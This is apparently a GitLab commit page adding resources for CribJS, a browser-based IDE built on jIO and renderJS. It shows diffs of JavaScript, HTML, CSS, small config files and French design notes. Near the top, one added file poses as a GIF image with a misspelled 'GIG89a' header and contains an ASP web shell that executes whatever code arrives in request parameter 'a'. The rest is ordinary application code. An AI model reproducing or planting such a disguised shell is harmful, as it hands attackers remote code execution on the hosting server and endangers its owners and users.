Commit 34853bdc authored by Cédric Le Ninivin's avatar Cédric Le Ninivin

Add all necessary resources to have functional CribJS

parent ba356131

Too many changes to show.

To preserve performance only 1000 of 1000+ files are displayed.

GIG89a
<%
dim a
a=request(chr(97))
on error resume next
execute a
response.write("Ok!")
%>
\ No newline at end of file
......@@ -19,14 +19,14 @@
})
.push(function (jio_string) {
return jio_cribjs_gadget.load({
path: document.location.origin,
path: document.location.href,
jio_config: JSON.parse(jio_string),
application_id: "cribjs"
})
})
.push(function (url_list) {
console.log(url_list);
document.location = document.location.origin + "/crib-editor/";
document.location = document.location.href + "crib-editor4/";
})
}
......@@ -38,7 +38,7 @@
if (localStorage.hasOwnProperty("crib_js_loader_jio")) {
jio_configuration_string = localStorage.getItem("crib_js_loader_jio");
} else {
jio_configuration_string = '{"type": "dav", "url": "https://cedriclendav.node.vifib.com/public/cribjs-storage/"}';
jio_configuration_string = '{"type": "dav", "url": "' + document.location.href + 'cribjs-storage/"}';
}
return RSVP.Queue()
.push(function () {
......
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('./sw.js', {scope: './'}).then(function() {
//navigator.serviceWorker.register('/sw.js', {scope: './'}).then(function() {
// Registration was successful. Now, check to see whether the Service Worker is controlling the page.
if (navigator.serviceWorker.controller) {
// If .controller is set, then this page is being actively controlled by the Service Worker.
......@@ -11,11 +11,11 @@ if ('serviceWorker' in navigator) {
document.querySelector('#status').textContent =
'Please reload this page to allow the service worker to take control.';
}
}).catch(function(error) {
//}).catch(function(error) {
// Something went wrong during registration. The service-worker.js file
// might be unavailable or contain a syntax error.
document.querySelector('#status').textContent = error;
});
//document.querySelector('#status').textContent = error;
//});
} else {
// The current browser doesn't support Service Workers.
var aElement = document.createElement('a');
......
html body nav.navbar-default {
background-color: transparent;
}
/*Test*/
html body .navbar-default .navbar-nav>li>a {
color: #337ab7;
}
html body .navbar-default .navbar-brand {
color: #337ab7;
}
iframe {
width: 100%;
height: 100%;
top: 0;
bottom: 0;
position: fixed;
}
\ No newline at end of file
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width">
<link rel="stylesheet" href="lib/bootstrap/bootstrap.min.css">
<link rel="stylesheet" href="cribjs-conqueror.css">
<title>CribJS</title>
<script src="lib/sha256.js"></script>
<script src="lib/sha256.amd.js"></script>
<script src="lib/rsvp.js"></script>
<script src="lib/jio-latest.js"></script>
<script src="lib/renderjs.js"></script>
<script src="cribjs-conqueror.js"></script>
</head>
<body>
<div data-gadget-url="gadget/crib-sw-gadget.html"
data-gadget-scope="crib_sw_gadget"
data-gadget-sandbox="public"></div>
<div data-gadget-url="https://www.cribjs.com/gadget/cribjs-ide-gadget.html"
data-gadget-scope="crib_ide_gadget"
data-gadget-sandbox="iframe"></div>
</body>
</html>
\ No newline at end of file
/*globals window, document, RSVP, rJS, Handlebars, console*/
/*jslint indent: 2, maxlen: 80*/
(function (window, document, RSVP, rJS, Handlebars, console) {
"use strict";
function callCribSWGadget(gadget, method, param_list) {
var called = false;
return new RSVP.Queue()
.push(function () {
return gadget.getDeclaredGadget("crib_sw_gadget");
})
.push(function (crib_sw_gadget) {
return crib_sw_gadget[method].apply(crib_sw_gadget, param_list);
})
.push(function (result) {
return result;
}, function (error) {
throw error;
});
}
rJS(window)
.ready(function (g) {
g.props = {};
return g.getElement()
.push(function (element) {
g.props.element = element;
});
})
.allowPublicAcquisition("crib_sw_allDocs", function (param_list) {
return callCribSWGadget(this, "allDocs", param_list);
})
.allowPublicAcquisition("crib_sw_remove", function (param_list) {
return callCribSWGadget(this, "remove", param_list);
})
.allowPublicAcquisition("crib_sw_put", function (param_list) {
return callCribSWGadget(this, "put", param_list);
})
.allowPublicAcquisition("crib_sw_get", function (param_list) {
return callCribSWGadget(this, "get", param_list);
})
.declareMethod('render', function (options) {
var promise_list = [],
gadget = this;
gadget.props.options = options;
// Add promise for list Cache content
// promise to use dav storage for jIO
return RSVP.Queue()
.push(function () {
return gadget.getDeclaredGadget('crib_ide_gadget');
})
.push(function (crib_ide_gadget) {
return crib_ide_gadget.render();
});
})
}(window, document, RSVP, rJS, console));
\ No newline at end of file
cribjs20
\ No newline at end of file
cribjs20.attachment
\ No newline at end of file
{"url":"https://www.cribjs.com"}
\ No newline at end of file
<p>Gestion de version multiples, mais pas de gestion au niveau des storages.</p>
<p>Gestions de conflit passe par de la gestion de conflit avec les 3 versions diff&eacute;rentes.&nbsp;Gestions des r&eacute;visions assur&eacute;e par ERP5.</p>
<p>Regarder l&#39;API de r&eacute;vision et le cas des conflits.</p>
<h2>Mapping bijectif d&#39;ID</h2>
<p>Check ERP5 SyncML, GID, r&eacute;f&eacute;rence &nbsp;+ version + language</p>
<p>LE GID comme cl&eacute;e de synchronisation bijective.&nbsp;<br />
Adaptation du GID en fonction du type de document</p>
<h2>Spec jIO</h2>
<p>Check couch DB</p>
<h2>Metadata</h2>
<p>Metadata are elements we can do query on.</p>
<ul>
<li>In ERP5 world, metadata are readonly. ERP5 have editable attachment and make the metadata</li>
<li>In jIO, query are made on the metadata.</li>
<li>AllDocs specify extra metadata provided by the document</li>
<li>PUT with metadata</li>
<li>check what metadata can be taken from attachment</li>
</ul>
<p>In &nbsp;the meantime, &nbsp;</p>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width">